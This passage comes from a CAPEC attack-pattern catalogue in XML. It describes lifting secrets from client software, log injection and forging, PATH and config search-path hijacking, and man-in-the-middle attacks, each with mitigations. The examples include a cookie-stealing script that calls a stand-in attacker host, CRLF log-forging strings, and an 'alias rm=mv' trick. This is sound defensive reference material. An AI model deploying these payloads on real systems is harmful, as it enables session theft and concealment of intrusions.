		</Technical_Context>
		<Source>
			<Submission>
				<Submitter>John Steven</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-02-10</Submission_Date>
				<Submission_Comment>Initial core pattern content</Submission_Comment>
			</Submission>
			<Modification>
				<Modifier>Chiradeep B. Chhaya</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-23</Modification_Date>
				<Modification_Comment>Fleshed out pattern with extra content</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Name and Description</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="37" Name="Lifting Data Embedded in Client Distributions" Pattern_Abstraction="Standard">
		<Description>
			<Summary>An attacker can resort to stealing data embedded in client distributions or client code in order to gain certain information. This information can reveal confidential contents, such as account numbers, or can be used as an intermediate step in a larger attack (such as by stealing keys/credentials).</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Explore">
					<Attack_Step>
						<Attack_Step_Title>Identify Target</Attack_Step_Title>
						<Attack_Step_Description>Attacker identifies client components to extract information from. These may be binary executables, class files, shared libraries (e.g., DLLs), or other machine code.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Binary file extraction. The attacker extracts binary files from zips, jars, wars, PDFs or other composite formats.</Attack_Step_Technique_Description>
							<Environments>env-Local env-Embedded env-ClientServer env-Peer2Peer</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Package listing. The attacker uses a package manifest provided with the software installer, or the filesystem itself, to identify component files suitable for attack.</Attack_Step_Technique_Description>
							<Environments>env-Local env-Embedded env-ClientServer env-Peer2Peer</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c37s1i1" type="Positive">
							<Indicator_Description>Proprietary or sensitive data is stored in a location ultimately distributed to end users.</Indicator_Description>
							<Environments>env-Local env-Embedded env-ClientServer env-Peer2Peer</Environments>
						</Indicator>
						<Indicator ID="c37s1i2" type="Negative">
							<Indicator_Description>Access to binary code is not realistic. For example, in a client-server environment, binary code on the server is presumed to be inscrutable to an attacker unless another vulnerability exposes it.</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Outcome ID="c37s1o1" type="Success">The attacker identifies one or more files or data in the software to attack.</Outcome>
						<Security_Control ID="c37s1s1" type="Preventative">Obfuscation can make the observation and reverse engineering more difficult. It is only capable of delaying an attacker, however, not preventing a sufficiently motivated and resourced one.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Experiment">
					<Attack_Step>
						<Attack_Step_Title>Apply mining techniques</Attack_Step_Title>
						<Attack_Step_Description>The attacker then uses a variety of techniques, such as sniffing, reverse-engineering, and cryptanalysis to extract the information of interest.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>API Profiling. The attacker monitors the software's use of registry keys or other operating system-provided storage locations that can contain sensitive information.</Attack_Step_Technique_Description>
							<Environments>env-Local env-Embedded env-ClientServer env-Peer2Peer</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Execution in simulator. The attacker physically removes mass storage from the system and explores it using a simulator, external system, or other debugging harness.</Attack_Step_Technique_Description>
							<Environments>env-Local env-Embedded</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Cryptanalysis. The attacker performs cryptanalysis to identify data in the client component which may be cryptographically significant. (Key material frequently stands out as very high entropy data when compared to other mundane data). Given cryptographically significant data, other analyses are performed (e.g., length, internal structure, etc.) to determine potential algorithms (RSA, ECC, AES, etc.). This process proceeds until the attacker reaches a conclusion about the significance and use of the data.</Attack_Step_Technique_Description>
							<Environments>env-Local env-Embedded env-ClientServer env-Peer2Peer</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Common decoding methods. The attacker applies methods to decode such encodings and compressions as Base64, unzip, unrar, RLE decoding, gzip decompression and so on.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Common data typing. The attacker looks for common file signatures for well known file types (JPEG, TIFF, ASN.1, LDIF, etc.). If the signatures match, he attempts decoding in that format.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c37s2i1" type="Positive">
							<Indicator_Description>Well known data types are used and embedded inside the client-accessible code.</Indicator_Description>
							<Environments>env-Local env-Embedded env-ClientServer env-Peer2Peer</Environments>
						</Indicator>
						<Indicator ID="c37s2i2" type="Inconclusive">
							<Indicator_Description>Proprietary data encodings are used. Although this incrementally increases the difficulty for an attacker to decode the data, it provides no better protection than well-known data types. Since few software developers are trained in obfuscation and cryptography, most proprietary encodings add little security value.</Indicator_Description>
							<Environments>env-Local env-Embedded env-ClientServer env-Peer2Peer</Environments>
						</Indicator>
						<Outcome ID="c37s2o1" type="Success">The attacker extracts useful information.</Outcome>
						<Security_Control ID="c37s2s1" type="Corrective">The software can contain an update mechanism, key management mechanism, or other means of updating proprietary data. Although this can react to a single breach, it is not an effective continuing solution. Many software manufacturers are lured into a repeated update cycle (c.f., satellite TV providers, iPhone) as hackers break proprietary data protection schemes. Planning to issue corrections is a poor long-term strategy, but it can be an effective stopgap measure until a design-level correction can be made.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>In order to feasibly execute this class of attacks, some valuable data must be present in client software.</Attack_Prerequisite>
			<Attack_Prerequisite>Additionally, this information must be unprotected, or protected in a flawed fashion, or through a mechanism that fails to resist reverse engineering, statistical, cryptanalytic, or other attack.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Very High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Very High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Analysis</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Using a tool such as 'strings' or similar to pull out text data, perhaps part of a database table, that extends beyond what a particular user's purview should be.</Example-Instance_Description>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>An attacker can also use a decompiler to decompile a downloaded Java applet in order to look for information such as hardcoded IP addresses, file paths, passwords or other such contents.</Example-Instance_Description>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>Attacker uses a tool such as a browser plug-in to pull cookie or other token information that, from a previous user at the same machine (perhaps a kiosk), allows the attacker to log in as the previous user.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Medium: The attacker must possess knowledge of client code structure as well as ability to reverse-engineer or decompile it or probe it in other ways. This knowledge is specific to the technology and language used for the client distribution</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>The attacker must possess access to the client machine or code being exploited. Such access, for this set of attacks, will likely be physical. The attacker will make use of reverse engineering technologies, perhaps for data or to extract functionality from the binary.	Such tool use may be as simple as "Strings" or a hex editor. Removing functionality may require	the use of only a hex editor, or may require aspects of the toolchain used to construct the application: for instance the Adobe Flash development environment. Attacks of this nature do not require network access or undue CPU, memory, or other hardware-based resources.</Resources_Required>
		<Probing_Techniques>
			<Probing_Technique>Attackers may confine (and succeeed with) probing as simple as deleting a cache or data file, or less drastically twiddling its bits and then testing the mutation's effect on an executing client.</Probing_Technique>
			<Probing_Technique>At the other extreme, attackers capable of reverse engineering client code will have the ability to remove functionality or identify the whereabouts of sensitive data through whitebox analysis, such as review of reverse-engineered code.</Probing_Technique>
		</Probing_Techniques>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>This pattern of attacks possesses valid contexts regardless of architectural model, as long as some client side logic or data of interest exists. 
		
		Client/server, n-tier and thick clients should all be considered for vulnerability to this pattern. Counter-indications include multicast distribution channels in which servers dispense only public data and no client-side authentication or filtering occurs. 
		
		This pattern of attack need not depend on a particular platform, technology stack, or language.</Context_Description>
		<Injection_Vector>This pattern of attacks possesses no injection vector, in its normal instances, as it affects clients fundamentally vulnerable to client-side trust issues. One exception to this rule exists: attacks making use of second-order injection attacks (SQL, XSS, or similar command injection) may 'deliver' an attack, through an intermediate server or data store, to a peer-client, or another user's use of the same client. In the case of the second instance (another user's use) this vector seems onerous but would be necessary in circumstances in which the hosting system protects the application well but implicitly trusts (potentially malicious) data received from the server (such as may be the case in kiosks well-protected through physical means).</Injection_Vector>
		<Activation_Zone>Client-side software, whether it be a monolithic application, client/server, or n-tier (web-based).</Activation_Zone>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>525</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>312</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>314</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>315</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>318</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Relevant_Security_Requirements>
			<Relevant_Security_Requirement>No sensitive or confidential information must be stored in client distributions. This includes content such as passwords or encryption keys. In cases where this is necessary, avoid storing any such information in plaintext</Relevant_Security_Requirement>
			<Relevant_Security_Requirement>All information arriving from a client must be validated before use.</Relevant_Security_Requirement>
		</Relevant_Security_Requirements>
		<Related_Security_Principles>
			<Related_Security_Principle>Reluctance to Trust</Related_Security_Principle>
			<Related_Security_Principle>Never Assuming that Your Secrets Are Safe</Related_Security_Principle>
		</Related_Security_Principles>
		<Related_Guidelines>
			<Related_Guideline>Never Use Unvalidated Input as Part of a Directive to any Internal Component</Related_Guideline>
			<Related_Guideline>Treat the Entire Inherited Process Context as Unvalidated Input</Related_Guideline>
			<Related_Guideline>Use Well-Known Cryptography Appropriately and Correctly</Related_Guideline>
		</Related_Guidelines>
		<Purpose>Reconnaissance</Purpose>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>Medium</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<Source>
			<Submission>
				<Submitter>John Steven</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-02-10</Submission_Date>
				<Submission_Comment>Initial core pattern content</Submission_Comment>
			</Submission>
			<Modification>
				<Modifier>Chiradeep B. Chhaya</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-23</Modification_Date>
				<Modification_Comment>Fleshed out pattern with extra content</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="93" Name="Log Injection-Tampering-Forging" Pattern_Abstraction="Standard">
		<Description>
			<Summary>This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing him to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accoutability, non-repudiation and incident forensics capability.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Explore">
					<Attack_Step>
						<Attack_Step_Title>Determine Application's Log File Format</Attack_Step_Title>
						<Attack_Step_Description>The first step is exploratory meaning the attacker observes the system. The attacker looks for action and data that are likely to be logged. The attacker may be familiar with the log format of the system.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Determine logging utility being used by application (e.g. log4j)</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Gain access to application's source code to determine log file formats.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Install or obtain access to instance of application and observe its log file format.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Outcome ID="c93s1o1" type="Success">Attacker determines log file format used by application.</Outcome>
						<Outcome ID="c93s1o2" type="Inconclusive">Attacker cannot conclusively determine log file format; he/she can only guess what the format is.</Outcome>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Exploit">
					<Attack_Step>
						<Attack_Step_Title>Manipulate Log Files</Attack_Step_Title>
						<Attack_Step_Description>The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted input that the target software will write to the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example: "%0D%0A[Thu%20Nov%2012%2011:22]:Info:%20User%20admin%20logged%20in" may add the following forged entry into a log file: "[Thu Nov 12 12:11:22]:Info: User admin logged in". Different applications may require different encodings of the carriage return and line feed characters.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Insert a script into the log file such that if it is viewed using a web browser, the attacker will get a copy of the operator/administrator's cookie and will be able to gain access as that user. For example, a log file entry could contain &lt;script&gt;new Image().src="http://xss.attacker.com/log_cookie?cookie="+encodeURI(document.cookie);&lt;/script&gt;. The script itself will be invisible to anybody viewing the logs in a web browser (unless they view the source for the page).</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Outcome ID="c93s2o1" type="Success">Forged entry or other malicious data inserted into application's logs.</Outcome>
						<Outcome ID="c93s2o2" type="Failure">No entry inserted into logs, or the entry is visibly distinguishable from real entries.</Outcome>
						<Security_Control ID="c93s2sc1" type="Preventative">Input validation to ensure that only legal characters supplied by users can be entered into log files</Security_Control>
						<Security_Control ID="c93s2sc2" type="Preventative">Encode information from user such that any unexpected characters are encoded safely before they are entered into log files.</Security_Control>
						<Security_Control ID="c93s2sc3" type="Preventative">Post-processing of log files to remove or encode dangerous characters before displaying to a user may help in some cases. It will not help remove fake log entries entered using carriage return and line feed characters, however.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The target host is logging the action and data of the user.</Attack_Prerequisite>
			<Attack_Prerequisite>The target host insufficiently protects acces to the logs or loggin mechanisms.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Analysis</Method_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Dave Nielsen and Patrick Breitenbach PayPal Web Services (aka PHP Toolkit) 0.50, and possibly earlier versions, allows remote attackers to enter false payment entries into the log file via HTTP POST requests to ipn_success.php.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>CVE-2006-0201</Example-Instance_Related_Vulnerability>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>If a user submits the string "twenty-one" for val, the following entry is logged: INFO: Failed to parse val=twenty-one However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged: INFO: Failed to parse val=twenty-one INFO: User logged out=badguy Clearly, attackers can use this same mechanism to insert arbitrary log entries. (Source: CWE Log forging)</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low/Medium: 
		Low: This attack can be as simple as adding extra characters to the logged data (e.g. unsername). Adding entries is typically easier than removing entries.
		Medium: A more sophisticated attack can try to defeat the input validation mechanism.</Attacker_Skill_or_Knowledge_Required>
		<Probing_Techniques>
			<Probing_Technique>The attacker will try to determine which data may be logged in case of a success or failure of a predetermined action such as authentication. Once that data has been identified, the attacker may try to craft malicious data to inject.</Probing_Technique>
			<Probing_Technique>Vulnerability testing tool can be used to test the input validation mechanism.</Probing_Technique>
		</Probing_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Carefully control access to physical log files.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Do not allow tainted data to be written in the log file without prior input validation. Whitelisting may be used to properly validate the data.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use synchronization to control the flow of execution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use static analysis tools to identify log forging vulnerabilities.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Avoid viewing logs with tools that may interpret control characters in the file, such as command-line shells.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Injection_Vector>The variable being logged</Injection_Vector>
		<Payload>The malicious characters or the crafted data which should forge the log entry.</Payload>
		<Activation_Zone>The logging mechanism (This can be as simple as writing to a file, logging API, etc.)</Activation_Zone>
		<Payload_Activation_Impact>Log tampering or forgery (misleading data)</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>117</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>92</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>150</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>713</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Security_Principles>
			<Related_Security_Principle>Reluctance to Trust</Related_Security_Principle>
		</Related_Security_Principles>
		<Purpose>Obfuscation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>Medium</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>J. Viega and G. McGraw. Building Secure Software. Addison-Wesley, 2002.</Reference>
			<Reference>CWE - Log Forging</Reference>
			<Reference>A. Muffet. The night the log was forged. http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm.</Reference>
			<Reference>Secure Software - Log Injection : http://www.owasp.org/index.php/Log_injection</Reference>
			<Reference>Samate test case on Log Forging : http://samate.nist.gov/SRD/view_testcase.php?login=Guest&amp;tID=1579</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>Sean Barnum</Submitter>
				<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
				<Submission_Date>2007-03-25</Submission_Date>
				<Submission_Comment>Identified priority for pattern creation</Submission_Comment>
			</Submission>
			<Modification>
				<Modifier>Eric Dalci</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-03-25</Modification_Date>
				<Modification_Comment>Fleshed out content for pattern</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-16</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Amit Sethi</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-10-29</Modification_Date>
				<Modification_Comment>Added extended Attack Execution Flow</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="38" Name="Leveraging/Manipulating Configuration File Search Paths" Pattern_Abstraction="Standard">
		<Description>
			<Summary>This attack loads a malicious resource into a program's standard path used to bootstrap and/or provide contextual information for a program like a path variable or classpath. J2EE applications and other component based applications that are built from mutliple binaries can have very long list of dependencies to execute. If one of these libraries and/or references is controllable by the attacker then application controls can be circumvented by the attacker.

			A standard UNIX path looks similar to this
			
			  /bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin
			
			If the attacker modifies the path variable to point to a locale that includes malicious resources then the user unwittingly can execute commands on the attacker's behalf:
			
			  /evildir/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin
			
			This is a form of usurping control of the program and the attack can be done on the classpath, database resources, or any other resources built from compound parts. At runtime detection and blocking of this attack is nearly impossible, because the configuration allows execution.</Summary>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The attacker must be able to write to redirect search paths on the victim host.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Very High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>This attack can be accomplished in two ways. An attacker can insert a malicious program into the path or classpath so that when a known command is executed then the system instead executes the trojans. Another method is to redirect commands by aliasing one legitimate command to another to create unexpected results. the Unix command "rm" could be aliased to "mv" and move all files the victim thinks they are deleting to a directory the attacker controls. In a Unix shell .profile setting
					
					alias rm=mv /usr/home/attacker
					
					In this case the attacker retains a copy of all the files the victim attempts to remove.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low: to identify and execute against an overprivileged system interface</Attacker_Skill_or_Knowledge_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Design: Enforce principle of least privilege</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Ensure that the program's compound parts, including all system dependencies, classpath, path, and so on, are secured to the same or higher level assurance as the program</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Host integrity monitoring</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>"Attack Pattern: Make Use of Configuration File Search Paths
		
		If you place a copy of the configuration file into a previously empty location, the target program may find your version first and forgo any further searching. Most programs are not aware of security, so no check will be made against the owner of the file. The UNIX environment variable for PATH will sometimes specify that a program should look in multiple directories for a given file. Check these directories to determine whether you can sneak a Trojan file into the target."

		[Hoglund and McGraw 04]</Context_Description>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>426</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>427</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>428</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>706</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>13</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>Medium</Confidentiality_Impact>
			<Integrity_Impact>Medium</Integrity_Impact>
			<Availability_Impact>Medium</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-01-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Gunnar Peterson</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-28</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-09</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Name and Related Attack Patterns</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="94" Name="Man in the Middle Attack" Pattern_Abstraction="Standard">
		<Description>
			<Summary>This type of attack targets the communication between two components (typically client and server). The attacker places himself in the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first goes to the attacker, who has the opportunity to observe or alter it, and it is then passed on to the other component as if it was never intercepted. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakeage of their communications. The potential for Man-in-the-Middle attacks yields an implicit lack of trust in communication or identify between two components.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>The attacker probes to determine the nature and mechanism of communication between two components looking for opportunities to exploit.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker inserts himself into the communication channel initially acting as a routing proxy between the two targeted components. The attacker may or may not have to use cryptography.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker observes, filters or alters passed data of its choosing to gain access to sensitive information or to manipulate the actions of the two target components for his own purposes.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>There are two components communicating with each other.</Attack_Prerequisite>
			<Attack_Prerequisite>An attacker is able to identify the nature and mechanism of communication between the two target components.</Attack_Prerequisite>
			<Attack_Prerequisite>An attacker can eavesdrop on the communication between the target components.</Attack_Prerequisite>
			<Attack_Prerequisite>Strong mutual authentication is not used between the two target components yielding opportunity for attacker interposition.</Attack_Prerequisite>
			<Attack_Prerequisite>The communication occurs in clear (not encrypted) or with insufficient and spoofable encryption.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Very High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Very High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Spoofing</Method_of_Attack>
			<Method_of_Attack>Analysis</Method_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Symantec Scan Engine 5.0.0.24, and possibly other versions before 5.1.0.7, uses the same private DSA key for each installation, which allows remote attackers to conduct man-in-the-middle attacks and decrypt communications.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>CVE-2006-0231</Example-Instance_Related_Vulnerability>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Medium/High: This attack can get sophisticated since the attack may use cryptography.</Attacker_Skill_or_Knowledge_Required>
		<Probing_Techniques>
			<Probing_Technique>The attacker can try to get the public-keys of the victims.</Probing_Technique>
			<Probing_Technique>There are free software tool to perform man in the middle attack (packet anlaysis, etc.)</Probing_Technique>
		</Probing_Techniques>
		<Solutions_and_Mitigations>
